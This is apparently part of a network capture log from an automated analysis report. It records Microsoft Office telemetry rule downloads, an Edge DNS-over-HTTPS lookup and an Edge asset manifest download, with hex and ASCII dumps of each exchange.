2024-11-15 15:16:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:27 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:27 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ab7d284a-001e-005a-348d-36c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151627Z-164f84587bfjxw6fhC1DFWq94400000001q0000000000v0u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:27 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49805	162.159.61.3	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-15 15:16:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-15 15:16:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 15 Nov 2024 15:16:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e3033da3e5f6c34-DFW alt-svc: h3=":443"; ma=86400
2024-11-15 15:16:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1f 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49803	13.107.246.45	443	7444	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:27 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-15 15:16:28 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:27 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 3435f083-f01e-005b-4fa6-366f7b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241115T151627Z-164f84587bfsqsthhC1DFWh63000000000p0000000004p7a Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:28 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-15 15:16:28 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-15 15:16:28 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-15 15:16:28 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-15 15:16:28 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-15 15:16:28 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-15 15:16:28 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-15 15:16:28 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-15 15:16:28 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-15 15:16:28 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:27 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:27 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 94736f86-d01e-0082-21a1-34e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151627Z-164f84587bfdl84ghC1DFWbbhc00000001s00000000030e2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:28 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:28 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c1061624-501e-008c-1ca4-36cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151628Z-1866b5c5fbbqmbqjhC1DFWwgvc00000000xg00000000mck3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 15:16:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:28 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 15:16:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:16:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 27141677-f01e-003c-23af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T151628Z-1866b5c5fbbtpjhjhC1DFWr6tw00000001bg00000000epem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
